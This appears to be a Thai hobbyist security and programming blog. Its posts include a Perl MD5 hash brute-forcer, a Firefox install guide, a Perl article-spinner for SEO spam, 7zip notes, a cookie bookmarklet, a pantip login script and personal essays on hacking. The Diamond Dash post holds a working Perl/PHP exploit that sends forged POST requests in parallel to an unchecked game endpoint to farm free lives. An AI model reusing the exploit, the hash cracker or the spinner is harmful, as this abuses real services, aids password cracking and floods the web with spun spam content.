  '10 az_4' => 'aaaa-zzzz',
  '11 az_5' => 'aaaaa-zzzzz',
  '12 az_6' => 'aaaaaa-zzzzzz',
  '13 az_7' => 'aaaaaaa-zzzzzzz',
  '14 az_8' => 'aaaaaaaa-zzzzzzzz',
);

foreach my $list (sort keys %passlist){
  my ($start, $stop) = split(/\-/,$passlist{$list});
  print "[+] start crack mode $list : $start - $stop\n";
  &crack_md5hash_list($start, $stop);
}


print "Time taken was ", time_format(time()-$start_time), "\n";

sub crack_md5hash_list {
  my $count = 1;
  my $start = $_[0];
  my $stop = $_[1];
  foreach my $tmp ($start..$stop){
 if($count%$debug_report==0 && $debug){print "[-] $tmp : uncracked = ".scalar(keys(%hashlist))." ea. ".time_format(time()-$start_time)."\n";}

 my $md5tmp = md5_hex($tmp);
 if($hashlist{$md5tmp}){
   print "[!] cracked ==> $md5tmp : $tmp (", time_format(time()-$start_time), ")\n";
   delete($hashlist{$md5tmp});
   open OUTFILE, ">> $cracked_out_file" or die "Can't open $cracked_out_file : $!";
   print OUTFILE "$md5tmp:$tmp\n";
   close OUTFILE;

   if(scalar(keys(%hashlist)) == 0){
  print "[+] cracked done\n";
  $end_time = time();
  print "[+] Time taken was ", time_format(time()-$start_time), "\n";
  exit;
   }
 }
 $count++;
  }
}

sub time_format{
  my $return;
  my $time = $_[0];
  return '<1s' if($time < 1);
  my $sec = int($time%60);
  my $min = int($time/60);
  my $hr = int($time/(60*60));
  $return .= "${hr}H:" if($hr);
  $return .= "${min}m:" if($min);
  $return .= "${sec}s" if($sec);
  return $return;
}

sub readFile{
  my %var;
  my $file = $_[0];
  open F, "<", "$file" or die "[+] Can't open $file : $!";
  while(<F>){
  my @lines = split (/\r?\n/, $_);
  foreach my $line (@lines){
 $line =~ s/[^\x20-\x7F]//ig;
 $line =~ s/\r|\n//g;
 next if ($line =~ /^#/ig);
 next if (length($line) == 0);
 $var{$line} = 1;
 }
  }
  close F;
  return(%var);
}

Saturday, May 12, 2012

install Firefox12 in blackbuntu x64

วิธีติดตั้ง firefox 12
  • สมมตุิไปโหลดไฟล์มาจากเวปหลักมาแล้ว ( http://www.mozilla.org/en-US/firefox/fx/ )
    หลังจาก โหลดเสร็จ ให้แตกไฟล์ ไว้ซักที่
    (สมมุติว่า โหลด firefox-12.0.tar.bz2 มาไว้ที่ ~/Desktop)
    ณ ตอนนี้ ลบ firefox-12.0.tar.bz2 ทิ้งได้ แระ
    cd ~/Desktop
    tar xjf firefox-12.0.tar.bz2
    
  • ย้ายโฟลเดอร์ /firefox ที่เพิ่งแตกออกมา ไปไว้ /opt
    (เปรียบเหมือนเอา folder firefox ไปไว้ใน folder program files นั่นแหละ)
    sudo mv firefox /opt/firefox12
  • สร้าง symbolic links ใส่ใน /usr/bin/
    (เหมือนๆ สร้าง shotcut ใน windows นั่นแหละ)
    sudo ln -s /opt/firefox12/firefox /usr/bin/firefox
  • ที่เหลือ ก็ แก้ shotcut ที่อื่น เอาโลด

Perl Word Spin (for SEO) [req by PongZ]

<PongZ> ตาเล็ก help me pls
<PongZ> function spin($s){
<PongZ> preg_match(‘#\{(.+?)\}#is’,$s,$m);
<PongZ> if(empty($m)) return $s;
<PongZ> $t = $m[1];
<PongZ> if(strpos($t,’{‘)!==false){
<PongZ> $t = substr($t, strrpos($t,’{‘) + 1);
<PongZ> }
<PongZ> $parts = explode(“|”, $t);
<PongZ> $s = preg_replace(“+\{“.preg_quote($t).”\}+is”, $parts[array_rand($parts)], $s, 1);
<PongZ> return spin($s);
<PongZ> }
<PongZ> convert เปน perl ให้ที
<PongZ> อิอิ

จัดไป .. แต่เขียนต่าง จาก php ด้านบนคนละเรื่องเลยนะ
#!/usr/bin/perl -w

my $word = q#{A|The} Roomba Vacuum {Review|Overview}

Have you {encountered|ever heard|known|experienced|used} {a|the|any} Roomba Vacuum {before|earlier}?  If {you're|you are} {not|not really} {familiar|used|known}  its, {it's|it is} {a|the|the best} {robotic|automatic|robot} vacuum that's {made|created|designed|developed} {by|from} the iRobot {company|brands}.  {We all|Most of us} {know|understand|recognize} that {vacuuming|vacuum-cleaning} is {not really|never|not} {fun|exciting|interesting|pleasure|enjoyable}.  {So|So that} is this the {answer|solution} to {our|your} {problems|issues|troubles}?  {Judging|Knowing} {from the|by the} {different|various|several} Roomba Vacuum {reviews|testimonials|review articles}, {it is|it can be|it's} {the|your} answer if {you're|you are} {looking|seeking} to {automate|automatic systems} a laborious {task|job}.

This {short|brief|quick} Roomba Vacuum {review|reviews} {will|may|are going to|can} help convince you that {in|inside|with} this modern time and age, {a|the} {robotic|automatic|robot} {vacuum|vacuum machine|cleaner|vacuum cleaner|machine} is {needed|necessary}.  

{Here|next|right|There} are {just|only|basically} some of the {features|functions} of {this|this particular} futuristic {appliance|device|product}:

• {Vacuuming|Hoovering} {without|without the need of|with out|with no|not having} lifting  {a|the|any|your} finger.

{Well|Perfectly}, {that's|that is} a {little|very little} bit {of|from} an exaggeration {since|because} {you|that you}|that is {still|always} {need|want|require} to lift your finger.  But that's {just|only} to {press|push|touch|click} {on|at} the button on the {machine|Roomba Vacuum|devices|robot}.  {After|Right after|Once|When|Shortly after} doing {it|this|that}, {the|a} Roomba Vacuum {will|are going to|can} do {all|all the|everything|all of the} hard work for {you|anyone}.  {You|We} {don't|do not} even {need|have} to get off your {couch|sofa|computer|seat} to clean underneath {it|that} {because|simply because|since} {the|your|a} {vacuum|vacuum machine|vacuum cleaner|machine|Roomba Vacuum} is compact and {smart|clever|intelligent|wise} enough to clean that {area|room|spot|space|location}.

• Artificial {intelligence|mind|ability|cleverness}

{It|This} {may|might|may possibly} {sound|seem} {like|just like} {another|one other} exaggeration {but|however,} {it's|it is|the saying} {truly|really} {packed|loaded} with {features|functions} that can only be {described|explained} as artificial {intelligence|mind}.  {The|A} {different|other} Roomba Vacuum {reviews|review articles|review|reviews articles|reviews article} {talked|discussed} {about|on|on the subject of} how {smart|good|clever} {the|a} product is {especially|specially|specifically} {with|together with|by using|using|by} {its|their} {sensors|detector}.  {It|That} can {easily|conveniently|very easily} {switch|change|change the} {settings|setting|options|commands} while {moving from|working on|vacumming on|running} carpet to floor to {protect|save} your flooring.  {It's|It is} {smart|good|clever} enough to {detect|identify|see|recognize} {stairs|steps|stairway} {so|well|so that} it {wouldn't fall|would not fall|wouldn't falls| {off|from the 2nd floors}.  {It's|It is|It's also|It is also} {smart|good} enough to avoid tangles.  {It's|It is} even {smart|intelligent} enough {to|you can easily programmed its to|in order to} {clean|working|waking and start the task} on schedule.  {You|We} also {don't|do not} have to worry {about|with|about roomba vacuum} it getting lost underneath your {couch|rest} {because|after} it {will goes|goes|immidiatly goes|will go|go|will back} home to its dock after {it's|it is} {done|finish|finishing} its {work|commands|task} or if {battery|energy} {is running low.|running low|ran out|low|go to zero}

{After|Following|Right after|Once} {reading|seeing} this Roomba Vacuum {review|examine}, you're {probably|most likely} now convinced that {it's|it is} a {must-have|must have} {in|with} {every|your|any} {home|house|family}.  {At|On} the very {least|minimum}, it can {help|support|assistance} {you|you to} free {yourself|your self|oneself} from storing and {operating|working} {bulky|heavy|big|large} vacuums.  {Add|Include} {that|this} to the mentioned {features|contains|has|functions} {and|and then} {it's|it is} {a no-brainer|no brainer} that {you|everyone} {have to buy it.|have to buy this Roomba Vacuum|need the Roomba Vacuum}
#;

my $spin = spin($word);
print "$spin\n";

sub spin {
my $return;
my @line = split(/\r?\n/, $_[0]);
foreach my $string (@line){
while(my ($regex1, $regex2) = $string =~ m/(.*\{([^{}]+)\}.*)$/ig){
my @arr = split(/\|/, $regex2);
my $rand = $arr[int rand(@arr)];
$regex2 = quotemeta $regex2;
my @arr_tmp = split("{$regex2}", $regex1, 2);
$string = join("$rand", @arr_tmp);
}
$return .= $string."\n";
}
return $return;
}


ex.
pirate@BlackBuntu~/thdz/temp$ ./spin.pl
A Roomba Vacuum Review

Have you encountered any Roomba Vacuum earlier? If you are not really used its, it is a robotic vacuum that’s designed by the iRobot company. Most of us recognize that vacuuming is not really interesting. So that is this the solution to our troubles? Judging by the several Roomba Vacuum testimonials, it can be the answer if you’re looking to automatic systems a laborious task.

This short Roomba Vacuum review will help convince you that in this modern time and age, a robotic vacuum cleaner is needed.

Here are only some of the features of this futuristic product:

• Hoovering with out lifting the finger.

Well, that is a little bit of an exaggeration because that you|that is still want to lift your finger. But that’s only to touch at the button on the robot. Once doing it, the Roomba Vacuum will do all of the hard work for anyone. We don’t even need to get off your sofa to clean underneath that because your machine is compact and intelligent enough to clean that room.

• Artificial ability

It may possibly sound just like another exaggeration however, it’s truly packed with features that can only be explained as artificial mind. A different Roomba Vacuum reviews article talked about how smart a product is specifically by their sensors. That can conveniently change the setting while moving from carpet to floor to protect your flooring. It’s smart enough to recognize stairway well it {wouldn’t fall|would not fall|wouldn’t falls| from the 2nd floors. It’s also good enough to avoid tangles. It is even intelligent enough to clean on schedule. You also don’t have to worry about it getting lost underneath your rest because it will goes home to its dock after it is finish its work or if battery running low

Once reading this Roomba Vacuum review, you’re probably now convinced that it’s a must-have with every family. At the very least, it can help you to free your self from storing and working bulky vacuums. Include this to the mentioned functions and then it is no brainer that you have to buy it.

pirate@BlackBuntu~/thdz/temp$ ./spin.pl
The Roomba Vacuum Overview

Have you used any Roomba Vacuum before? If you’re not really used its, it’s the best automatic vacuum that’s designed from the iRobot brands. We all know that vacuuming is never interesting. So is this the answer to your problems? Knowing by the several Roomba Vacuum reviews, it can be the answer if you are looking to automate a laborious task.

This brief Roomba Vacuum reviews can help convince you that in this modern time and age, a robot vacuum is necessary.

Here are just some of the features of this futuristic device:

• Vacuuming with out lifting your finger.

Perfectly, that is a little bit from an exaggeration because that you|that is still need to lift your finger. But that’s only to push at the button on the robot. Shortly after doing it, a Roomba Vacuum will do everything hard work for you. You don’t even have to get off your seat to clean underneath that simply because a machine is compact and clever enough to clean that room.

• Artificial cleverness

This might seem just like one other exaggeration but it is truly loaded with features that can only be explained as artificial mind. The other Roomba Vacuum reviews articles talked on how smart a product is especially by using their detector. That can conveniently switch settings while running carpet to floor to save your flooring. It is smart enough to identify steps so that it {wouldn’t fall|would not fall|wouldn’t falls| off. It’s good enough to avoid tangles. It’s even smart enough you can easily programmed its to clean on schedule. You also do not have to worry with it getting lost underneath your couch because it will back home to its dock after it is done its commands or if battery is running low.

Once reading this Roomba Vacuum review, you’re most likely now convinced that it is a must have with any home. At the very least, it can support you free your self from storing and operating large vacuums. Include this to the mentioned contains and then it is a no-brainer that you need the Roomba Vacuum

pirate@BlackBuntu~/thdz/temp$

[eeepc] display card intel สามารถเพิ่มความละเอียดหน้าจอได้ จาก 1024*600 เป็น1024×768

display card intel (การ์ดจอ) สามารถเพิ่มความละเอียดหน้าจอได้
จาก 1024*600 เป็น 1024×768 และ 1152×864 ใน windows 7

โดยมี ขั้นตอนดังนี้

1) Run regedit
2) Search and modify all values “Display1_DownScalingSupported” from “0″ to “1″
3) Restart the system
4) Enjoy with the two new resolutions 1024×768 i 1152×864

ที่มา http://forum.eeeuser.com/viewtopic.php?pid=674817

how to use 7z archive file (7zip in linux)

7zip command


Usage: 7z <command> [...] [...]
[]

a: Add files to archive
b: Benchmark
d: Delete files from archive
e: Extract files from archive (without using directory names)
l: List contents of archive
t: Test integrity of archive
u: Update files to archive<!--more-->
x: eXtract files with full paths

-ai[r[-|0]]{@listfile|!wildcard}: Include archives
-ax[r[-|0]]{@listfile|!wildcard}: eXclude archives
-bd: Disable percentage indicator
-i[r[-|0]]{@listfile|!wildcard}: Include filenames
-m{Parameters}: set compression Method (see the manual)
-l: don't store symlinks; store the files/directories they point to
CAUTION : the scanning stage can never end because of symlinks like '..'
(ex: ln -s .. ldir)
-o{Directory}: set Output directory
-p{Password}: set Password
-r[-|0]: Recurse subdirectories
(CAUTION: this flag does not do what you think, avoid using it)
-sfx[{name}]: Create SFX archive
-si[{name}]: read data from stdin
-slt: show technical information for l (List) command
-so: write data to stdout (eg: 7z a dummy -tgzip -so Doc.txt > archive.gz)
-ssc[-]: set sensitive case mode
-t{Type}: Set type of archive
-u[-][p#][q#][r#][x#][y#][z#][!newArchiveName]: Update options
-v{Size}[b|k|m|g]: Create volumes
-w[{path}]: assign Work directory. Empty path means a temporary directory
-x[r[-|0]]]{@listfile|!wildcard}: eXclude filenames
-y: assume Yes on all queries



ex.
split 500Mb per file (SMFE-Community/* is 2Gb ... CPU ~ 100% .. ~ 15min)

7z a -v500m 7zip.7z SMFE-Community/*

split 500Mb per file not compress (SMFE-Community/* is 2Gb ... CPU

7z a -mx0 -v500m 7zip.7z SMFE-Community/*

upload image or doc or pdf

พอดีไปตอบกระทู้แนวๆ เขียน code ไว้ที่ พันติ๊บ อีก เช่นเดิม
เลยเอามาลงไว้ใน blog ซะหน่อย

javascript add cookie

เพิ่ม code นี้เข้าไปใน bookmark url


javascript:void(window.c=function%20a(nc){c=nc.split(";");d=new%20Date();exp=new%20Date(d.getFullYear()+1,2,11);for(i=0;i<c.length;i++){document.cookie=c[i]+";expires="+exp+";"+"path=/;domain="+window.location.hostname;}return%20unescape(document.cookie);});void(c(prompt("cookie%20[name1=value1;name2=value2]","")));


จากนั้น เวลาใช้ ก็กดใช้จากใน bookmark


แล้ว ใส่ cookie ที่ต้องการลงไป เช่น
user=windows98SE;pass=stephack.com
เป็นต้น

วิธีแก้ encode url.escape ตอนที่ก๊อปปี้ link ภาษาไทย จาก firefox

เวลา ก๊อปปี้ link ที่มีภาษาไทย (ตรง address bar)
เจ้า firefox มันจะ encode ส่วนของภาษาไทยให้เป็น url-escape ให้อัตโนมัติ
มันจึงมักทำให้ ผมหงุดหงิดเล็กน้อย ตรงที่
1. อ่านไม่ออก
2. มันยาว

ขอยกตัวอย่าง ... ปกติ จาก

PERL Regexp Quote-Like Operators

Regexp ใน perl มีตัว Operators ดังนี้
qr/STRING/msixpodual

ความหมายก็คือ

Regular Expression Cheats

อยากจะขอฝากประโยคนี้ไว้ให้ผู้อ่าน ก่อนจะอ่านบทความนี้ซักนิด (เพราะมันค่อนข้างยาว)
การเรียนรู้ที่เร็วที่สุด...คือ "การถาม"
การเรียนรู้ที่ง่ายที่สุด...คือ "เรียนรู้จากประสบการณ์ของคนอื่น"
การเรียนรู้ที่เข้าใจที่สุด...คือ "ต้องเจอกับปัญหาและแก้ไขด้วยตัวเอง"
จุดสิ้นสุดของการเรียนรู้นั้นไม่มี...เพราะ ชีวิตคือการเรียนรู้และยอมรับมัน

Code โกงหัวใจเกมส์เพชร (Diamond Dash)

ใครต้องการง่ายๆ กดที่ link นี้ โลด




ส่วนใครที่ชอบท่ายากอ่าน code ด้านล่างครับ


วิธีการหา คือ ลอง sniff packet ที่ส่งไปตอนกดรับหัวใจดู
แล้วจะเห็นว่า /game/accept_sent_life/ ไม่มีการเช็คค่าอะไรเลย
เราก็ส่ง link นั้นไปรัวๆ .. ก็จะได้หัวใจรัวๆ
(ถือว่าเป็น ช่องโหว่ อย่างหนึ่งของคนทำเวป)

code นี้เป็น ภาษา perl แบบ ทำงาน multi process (25 thread)

#!/usr/bin/perl -w
#########################################################################
# ░░░░░░░░░░░░▄▄░░░░░░░░░░░░░░ Copyright (c) 2011 by windows98SE
# ░░░░░░░░░░░█░░█░░░░░░░░░░░░░
# ░░░░░░░░░░░█░░█░░░░░░░░░░░░░ This software is open source,
# ░░░░░░░░░░█░░░█░░░░░░░░░░░░░ licensed under the GNU/GPL,v3.0
# ░░░░░░░░░█░░░░█░░░░░░░░░░░░░
# ██████▄▄█░░░░░██████▄░░░░░░░ Basically,
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ this means that you're allowed to modify and
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ distribute this software.
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ However, if you distribute modified versions,
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ you MUST also distribute the source code.
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░
# ▓▓▓▓▓▓█████░░░░░░░░░██░░░░░░ See http://www.gnu.org/licenses/gpl.html
# █████▀░░░░▀▀████████░░░░░░░░ for the full license.
#########################################################################
use Socket;
use IO::Socket;
use Parallel::ForkManager;
my $pm = new Parallel::ForkManager(25);
my $loop = 100;

my $facebook_profile_id = '100000281355534';#แก้ตรงนี้เป็นเลข facebook id ของคุณ

for(my $i=0;$i<=$loop;$i++){
$pm->start and next;
print "[+] sending $i ea\n";
&send_life($facebook_profile_id);
$pm->finish;
}
$pm->wait_all_children;
print "[+] done\n";

sub send_life {
my $payload = 'request_id=212465832187344_100000281355534&sender_id=100000179550296&recipient_id='.$_[0].'&cr=de156';
my $packet = "POST /game/accept_sent_life/ HTTP/1.1\r\n";
$packet .= "Host: dd.wooga.com\r\n";
$packet .= "User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n";
$packet .= "X-Requested-With: XMLHttpRequest\r\n";
$packet .= "Referer: http://dd.wooga.com/landingpage/\r\n";
$packet .= "Content-Length: ".length($payload)."\r\n";
$packet .= "Pragma: no-cache\r\n";
$packet .= "Cache-Control: no-cache\r\n";
$packet .= "Connection: Close\r\n\r\n";
$packet .= $payload;

my $socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr  => 'dd.wooga.com',
PeerPort  => 80,
) or die ("[!] can't creat socket\n");
print $socket $packet;
close($socket);
}


อันนี้ เขียนแบบ php ให้ดูตัวอย่าง การใช้ fsockopen
<?php

$facebook_profile_id = "100000281355534";

for($i=0;$i<=30;$i++){
echo "[+] sending $i ea<br>";
sent_life($facebook_profile_id);
}
echo "[+] done.";


function sent_life($facebook_profile_id){
$payload = "request_id=212465832187344_100000281355534&sender_id=100000179550296&recipient_id=".$facebook_profile_id."&cr=de156";

$packet  = "POST /game/accept_sent_life/ HTTP/1.1\r\n";
$packet .= "Host: dd.wooga.com\r\n";
$packet .= "User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n";
$packet .= "X-Requested-With: XMLHttpRequest\r\n";
$packet .= "Referer: http://dd.wooga.com/landingpage/\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Pragma: no-cache\r\n";
$packet .= "Cache-Control: no-cache\r\n";
$packet .= "Connection: Close\r\n\r\n";
$packet .= $payload;

if(!($sock = fsockopen("dd.wooga.com", 80))) die( "\n[-] No response from dd.wooga.com:80\n");
fwrite($sock, $packet);
fclose($sock);
}

?>

"แฮก" ไปทำไม ?

ปกติผมมักจะถูกถามว่า

Q: "แฮก" ไปทำไม ?
A: ไม่รู้ครับ
Q: ไปทำอย่างอื่นดีกว่ามั้ย ?
A: ดีกว่าครับ
Q: แล้วทำไมไม่ไปทำอย่างอื่น ?
A: เพราะอย่างอื่นมันไม่ใช่ "แฮก" ครับ
Q: .........อืมม์


ปล. ลองเปลี่ยนคำว่า "แฮก" เป็นงานอะไรก็ได้ที่เรารัก แล้วเราจะได้ยินเสียงของหัวใจเราครับ

simple fsockopen use cookie login pantip.com

พอดี ไปตอบ กระทู้ใน pantip มา .. ลากยาว หลาย comment ก็เลย เอา code มาลงทิ้งไว้ที่นี่ ซักหน่อย
เพราะ เดี๋ยวนานๆ แล้วกากระทู้ไม่เจอ

สำหรับคนอยากต่อยอด งมเรื่อง header, chunked

ที่มา http://www.pantip.com/tech/developer/topic/DW3044972/DW3044972.html#8

<?
set_time_limit(0);

$username = 'windows98SE';
$password = '';
$testpage = '/tech/developer/listD.php';#

$cookie = get_cookie_pantip($username, $password);
echo get_page_pantip($testpage, $cookie);



function http_send($host, $packet){
if (!($sock = fsockopen($host, 80))) die( "\n[-] No response from {$host}:80\n");
fwrite($sock, $packet);
return stream_get_contents($sock);
}

function get_cookie_pantip($username, $password){
$data = 'Nickname='.rawurlencode($username).'&Password='.rawurlencode($password).'&Remember=1&AutoLogin=1&Expire=4&step=1';
$packet  = "POST /index.php HTTP/1.1\r\n";
$packet .= "HOST: members.pantip.com\r\n";
$packet .= "Accept: */*\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021204\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n";
$packet .= "Connection: close\r\n\r\n".$data;
# grep cookie
if(!preg_match("/Set-Cookie: ckPantipMember=([^;]*);/", http_send("members.pantip.com", $packet), $cookie)) die("\n[-] cookies not found!\n");
return $cookie[1];
}

function get_page_pantip($page, $cookie){

$packet  = "GET $page HTTP/1.1\r\n";
$packet .= "HOST: www.pantip.com\r\n";
$packet .= "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021204\r\n";
$packet .= "Cookie: ckPantipMember=".$cookie.";\r\n";
$packet .= "Connection: Close\r\n\r\n";
$resp = http_send("www.pantip.com", $packet);
$response = explode("\r\n\r\n", $resp, 2);
$header=$response[0];
$responsecontent=$response[1];
if(!(strpos($header,"Transfer-Encoding: chunked")===false)){
$aux=split("\r\n",$responsecontent);
for($i=0;$i<count($aux);$i++) if($i==0 || ($i%2==0)) $aux[$i]="";
$responsecontent=implode("",$aux);
}
return chop($responsecontent);
}

?>

คหสต. ผมว่า … เมืองไทย
- จบ โปรแกรมเมอร์ เยอะ .. แต่ เขียนได้จริงๆ น้อย ยิ่งบางมหาลัย .. จบหลักสูตรคอมมา แต่ทั้งห้อง อาจจะเขียนได้แค่ 2-3 คน เท่านั้น
แต่ก็พูดยาก .. คอมมันมีแตกแยกแขนง ออกมาเยอะ หลายภาษา
ดังนั้น อาจจะ ไม่ได้จับ php หรือ ภาษาทาง programming ออกมา ตอนจบ
แต่ไปจับ พวกกราฟฟิคแทน ก็เป็นไปได้ จริงมะ ?

- เป็น ผู้ดูแล เน็ตเวิค เยอะ แต่เท่าที่ดู ก็ยังไม่ค่อยมี คนที่เป็น ทั้ง 2 อย่าง แฮะ
เป็น เพราะ มหาลัย ไม่ค่อยมีสอน ต้องนั่งอ่านกันเอาเอง หรือป่าว ?

- ที่ผมเห็นเทพๆ เป็นมันทั้งหมด เป็นมันยัน binary ก็มี นะ … แต่ก็ส่วนน้อย จริงๆ (แต่ทำไมผมเจอฝรั่ง เป็นกันเกลื่อนมากก เพราะ เค้า ไม่ปิดกันเรื่อง hack หรือป่าว ?)

จาก ประสพการณ์ผมที่ผ่านมา หากใครที่ กำลัง กระโดดเข้ามา วงการ network ผมว่า ก๊วนนี้ กั๊กความรู้สุดๆ
สมัย ซัก 3 ปีที่แล้ว ผมยังไม่รุ้เรื่อง linux/server เลย .. แค่ค่า setup linux คิด ตั้ง 5k บาท
… พระเจ้า !! เพิ่มอีก 6k ซื้อ sv เครื่องนี้ ได้อีกเครื่องเลยนะ !!!
(คอมประกอบ mini case.. เจ้าของก็ไม่ค่อยเป็น เน้นมั่วไปวันๆ .. แต่ก็ยังอึดอยุ่ได้มาถึงปัจจุบัน)

อันนี้ ความเห็นส่วนตัวนิดหนึ่ง .. พวกร้านที่รับลง widdows แล้วคิดตัง 300-500 อ่ะ
ผมว่า เกินไป จริงๆ นะ คลิกแค่ 5 ครั้งเองมั้ง ที่เหลือคือ รอมันติดตั้ง ไม่ถึง 1 ชม. ก็เสร็จแระ

แต่เวลาไปเจอ พวกที่ ทำอะไรไม่เป็นเลยสอนให้ก็ไม่จำ
อยากจะให้พวกคนเหล่านี้ ไปโดนค่าลง windows ซักครั้งละ 1000 บาท
เผื่อจะรู้สึก เสียดายเงิน แล้ว หัดลงเอง ซะบ้าง เหมือนกัน :P

ปล. อยากมีคนสอน มั่งจัง .. เริ่ม เบื่อ การหาอ่านเอง ^^

ชื่อ “windows98SE” ... ชื่อนี้ ท่านได้แต่ใดมา

ปกติแล้วผมมักจะเจอ
anonymous 1 ตามเวปต่างๆ : พี่เล็กๆ ทำไมผมเห็นชื่อพี่เป็น windows98SE ตลอดทุกเวป ทุกที่เลยอะ

anonymous 2 ใน dota : old windows lol / i use windows 7 na new kwa 555+

anonymous 3 ตามเวปแฮก : ใช่ windows98SE ที่ทำบอท opkwin มั้ยคับ ?

เอาเป็นว่า แต่ละคำถาม ใจความสำคัญของคำถามก็คือ

ชื่อ “windows98SE” ชื่อนี้ ท่านได้แต่ใดมา


คำตอบ สั้นๆ คือ เป็น OS แรก ที่ผมใช้คับ
คำตอบ ยาวๆ อ่านด้านล่างเอา ณ บัดนาว !! (ยาวแน่นอน ขอโบกๆ)

.
.
.

เรื่องมีอยู่ว่า เกือบๆ 10 ปีที่แล้ว (ปี 1998) ตอนสมัย ม. 5
แม่ให้เลือกของขวัญวันเกิด ระหว่าง
1. รถมอ’ไซ
2. เครื่องคอม

แต่ขอย้อน กลับไปอีก ซัก 4-7 ปี ก่อนได้คอมเครื่องแรก
ว่าทำไม คนแบบผมถึงอยากได้คอม
… นั่นเป็นเพราะผมเป็นเด็กติดเกมส์คนหนึ่งคับ
นั่งเล่นเกมส์ ตั้งแต่ ป.3 มาตลอด จนย้ายมากระบี่ (สมัยนั้นเครื่อง sfc อ่ะ)
พอตอน ป. 6 โรงเรียน หัวหินวิทยาลัย เค้ามีสอนคอม

เรียนคอมสมัยนั้น ใช้แผ่น disk ขนาด 5.2″
OS เป็น Dos และ เรียน พิมพ์ ดีด ในโปรแกรม เวิดราชวิถี !!
ใครพิมพ์เสร็จตามที่สั่งก่อน ก็จะได้เล่นเกมส์
(ชอบเรียนวิชานี้เพราะแมร่งได้เล่นเกมส์ นี่แหละ 555+ )

แล้วคนหัวเสธ. แบบผม มีหรือ จะพิมพ์เอง
ผลก็ .. เล่นเกมส์มันตั้งแต่ครูหันหลังออกจากห้องอ่ะ (*0*)
พอจะหมดคาบ ค่อยเอาแผ่นไปเสียบในเครื่องชาวบ้าน
แก้ชื่อแล้ว save ส่งเอา (เลว สาดๆ -0-)
หลังจากนั้น ก็ย้าย โรงเรียน และ ไม่ได้จับคอม และ เกมส์ อีกเลย
(การย้าย รร. ครั้งนี้เป็นแผนของเสด็จแม่ รึป่าววะเนี้ย)

ดังนั้น แรงบรรดาลใจ ที่จะได้คอมมาเล่นเกมส์เลยสูง (เพราะไม่ได้เล่นเกมส์นาน)
และ ไม่ต้องสืบ เด็กที่อยากจะเป็น Hacker แบบผม
มันก็ต้อง เลือก ข้อ 2. “เครื่องคอม” เป็นคำตอบสุดท้ายยยยย ซิคับพี่น้อง !!

ขอออกนอกเรื่อง มาเรื่องอยากเป็น Hacker นิดนุง
คือตอนนั้นยังไม่รู้เล๊ยว่า Hacker มันเป็นไง นึกแต่ว่าไอ้ Hacker เนี้ย
ก็คืออาชีพ อาชีพหนึ่ง เหมือนๆ ครู หมอ แม่ค้า หรือ ตำรวจ

อาชีพ ครู ก็ทำงานอยู่ โรงเรียน
อาชีพ หมอ ก็ทำงานอยู่ โรงบาล
อาชีพ แม่ค้า ก็ทำงานอยู่ ตลาด
อาชีพ ตำรวจ ก็ทำงานอยู่ โรงพัก

… แต่อาชีพ Hacker คือคนที่ใช้คอม
(ตอนนั้นคิดงี้ .. แต่มารู้ตอนหลังว่าไอ้ hacker มันไม่ใช่อาชีพว่ะคับ)
ดังนั้น โรงเรียน, โรงบาล, ตลาด, โรงพัก แม่งอันใหญ่ แต่คอมแม่งอันเล็ก
เพราะมันอันเล็ก ตูก็คงเอาคอมไปตั้งได้ ทั้ง โรงบาล โรงเรียน โรงพัก และ ตลาด !!
ความรู้ของเด็ก ม.5 ที่กำลังจะเลือกสายอาชีพ เมื่อ เกือบ 10ปีที่แล้ว
เกรดเฉลี่ย 1.75 เส้นทางการเรียน ตอน ป.ตรี แบบสะบายๆ
มันก็ต้องอาชีพ Hacker ซิฟ๊ะ เพราะมัน ทำงานได้หลายที่ ไม่มีคำว่าตกงานแน่นอน !!
จึงเหมา ตู่ไปเองว่าการจะเป็นอาชีพ Hacker มันต้องใช้คอม
ถ้ากูซ้อมใช้คอมตั้งแต่ ตอนนี้ ยิ่งได้เปรียบชาวบ้านแน่นอน
ดังนั้น …. เย่ๆ ตูได้เป็น Hacker ตั้งแต่ ม.5 เชียวนะเนี้ย !! [ตามความรู้สึกจริงๆ ณ ตอนนั้น]
(พูดหลอกให้คนอ่าน อ่านแล้ว look ตูดูดีขึ้น ว่าตูเอาคอมเพื่ออนาคตไปงั้นแหละ
.. จริงๆ ตูก็จะเอาคอมมาเล่นเกมส์ เหมือนเกรียน ปัจจุบัน ทั้งหลายแหละ ก๊ากๆๆ !!)

กลับมาเรื่องคอมเครื่องแรกของ Hacker ระดับผม … มี Spec ดังนี้
CPU : Intel Pantium II 300 Mhz (แพนเทิ่ม ทู เชียวนะคับพี่น้อง 300Mhz คือ เศษเสี้ยวของ i7 ในปัจจุบัน)
RAM : 32 Mb (แรมแบบ ดีดีอง ดีดีอา ‘ไรนั่น สมัยนั้นไม่รู้จักคับพี่น้อง!!)
Floppy Disk : 3.5″ (drive A: ขนาด 3.5″ 1 รู คับพี่น้อง)
HD : 3.2 GB (ใช่คับ เห็นขี้ๆ แค่ 3.2 GB เนี้ย ขอบอกยังมีที่เหลือ เก็บ file word ได้อีกบาน [ก็สมัยนั้น ยังไม่มี bit, mp3, iso ฯลฯ นี่หน่า])
VGA : 8 Mb (VGA Card แรงสุดยี่ห้อ Voodoo อยากได้ แต่ ไม่รู้จะบอกให้แม่ซื้อว่าไง ขืนบอกว่า ซื้อมาเล่นเกมส์ โดนตบหูหลุด อดแน่นอน >_<)
